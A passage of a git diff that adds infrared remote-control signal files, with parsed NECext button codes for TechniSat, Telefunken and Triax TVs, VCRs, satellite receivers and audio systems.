+name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0D 00 00 00 +# +name: Hilfe +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 23 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 29 00 00 00 +# +name: SFI +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: EXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 3C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: HILFE2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir new file mode 100644 index 000000000..ca140f2f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0D 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_REDO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: KEY_AB +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 23 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 29 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 3C 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir new file mode 100644 index 000000000..dc9225bb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: WEST +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 01 00 00 00 +# +name: EAST +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 03 00 00 00 +# +name: SKEW- +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 04 00 00 00 +# +name: SKEW+ +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 06 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 07 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 08 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 09 00 00 00 +# +name: AUDIO_DE-EMP +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 0B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 0D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 0F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 11 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 13 00 00 00 +# +name: PRG +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 15 00 00 00 +# +name: AUDIO_BW +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 16 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 17 00 00 00 +# +name: AUDIO- +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 18 00 00 00 +# +name: AUDIO+ +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 19 00 00 00 +# +name: POLAR +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 1A 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 1D 00 00 00 +# +name: IF_BW +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 1F 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 40 00 00 00 +# +name: POSIT +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 44 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 48 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 4C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 50 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 54 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 58 00 00 00 +# +name: CLAMP +type: parsed +protocol: NECext +address: 83 79 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir new file mode 100644 index 000000000..44587e5d8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE1_PLAY_BKWD +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 00 00 00 00 +# +name: TAPE1_PLAY_FWD +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 01 00 00 00 +# +name: TAPE1_FWD +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 02 00 00 00 +# +name: TAPE1_REW +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 03 00 00 00 +# +name: TAPE1_STOP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 04 00 00 00 +# +name: TAPE2_BKWD_PLAY +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 05 00 00 00 +# +name: TAPE2_FWD_PLAY +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 06 00 00 00 +# +name: TAPE2_FWD +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 07 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 08 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 09 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0A 00 00 00 +# +name: TAPE2_REW +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0B 00 00 00 +# +name: CD_FWD_SKIP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0C 00 00 00 +# +name: CD_BKWD_SKIP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0F 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 10 00 00 00 +# +name: TAPE2_STOP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 11 00 00 00 +# +name: TAPE2_BKWD_REC +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 12 00 00 00 +# +name: TAPE2_FWD_REC +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 13 00 00 00 +# +name: TAPE2_REC_MUTE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 14 00 00 00 +# +name: TUNER_SLEEP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 15 00 00 00 +# +name: TUNER_PRESET_UP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 17 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 19 00 00 00 +# +name: TUNER_PRESET_DOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1A 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1B 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1C 00 00 00 +# +name: AUX2 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1D 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1E 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir new file mode 100644 index 000000000..a01006be0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: DIGIT_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: DIGIT_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: DIGIT_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: DIGIT_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: DIGIT_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: DIGIT_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: DIGIT_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: DIGIT_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: DIGIT_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: DIGIT_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: STD_VALUES +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir new file mode 100644 index 000000000..a99c6f95d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: VTX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: TOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: FORMAT+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: FORMAT- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3D 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir new file mode 100644 index 000000000..7765b4c47 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 04 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: MENU/TEXT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: SEARCHFWD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: AUDIO-MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: CURSORLEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CURSORRIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VPS/CHANNEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 34 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: PROGR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 39 00 00 00 +# +name: TARGET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3B 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: D/W/MEMORY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: RINGRIGHTPROG +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 80 00 00 00 +# +name: RINGLEFTPROG +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 84 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 91 00 00 00 +# +name: SETMARKE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 93 00 00 00 +# +name: ERASEMARK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 94 00 00 00 +# +name: SEEK-INTERVAL/-EMPTY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: SEEKMARK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 97 00 00 00 +# +name: JOGTAPE-1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: AF 00 00 00 +# +name: RINGTAPE-6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B1 00 00 00 +# +name: RINGTAPE-5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B2 00 00 00 +# +name: RINGTAPE-4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B3 00 00 00 +# +name: RINGTAPE-3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B4 00 00 00 +# +name: RINGTAPE-2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B5 00 00 00 +# +name: RINGTAPE-1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B6 00 00 00 +# +name: RINGTAPE+1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B9 00 00 00 +# +name: RINGTAPE+2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: BA 00 00 00 +# +name: RINGTAPE+3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: BB 00 00 00 +# +name: RINGTAPE+4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: BC 00 00 00 +# +name: RINGTAPE+5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: BD 00 00 00 +# +name: RINGTAPE+6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: BE 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: SEARCHBWD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: D5 00 00 00 +# +name: JOGTAPE-3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: D8 00 00 00 +# +name: JOGTAPE-2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: D9 00 00 00 +# +name: JOGTAPE+2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: DA 00 00 00 +# +name: JOGTAPE+3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: DB 00 00 00 +# +name: JOGTAPE+1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: ED 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir new file mode 100644 index 000000000..c62b5f091 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: av/audio +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: Adjust +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: -/Down +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: Status +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: Display/Menu +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 24 00 00 00 +# +name: +/Up +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 25 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 27 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 28 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2A 00 00 00 +# +name: tv/vcr +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2D 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2E 00 00 00 +# +name: Erase +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 31 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 37 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir new file mode 100644 index 000000000..2fb07d819 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 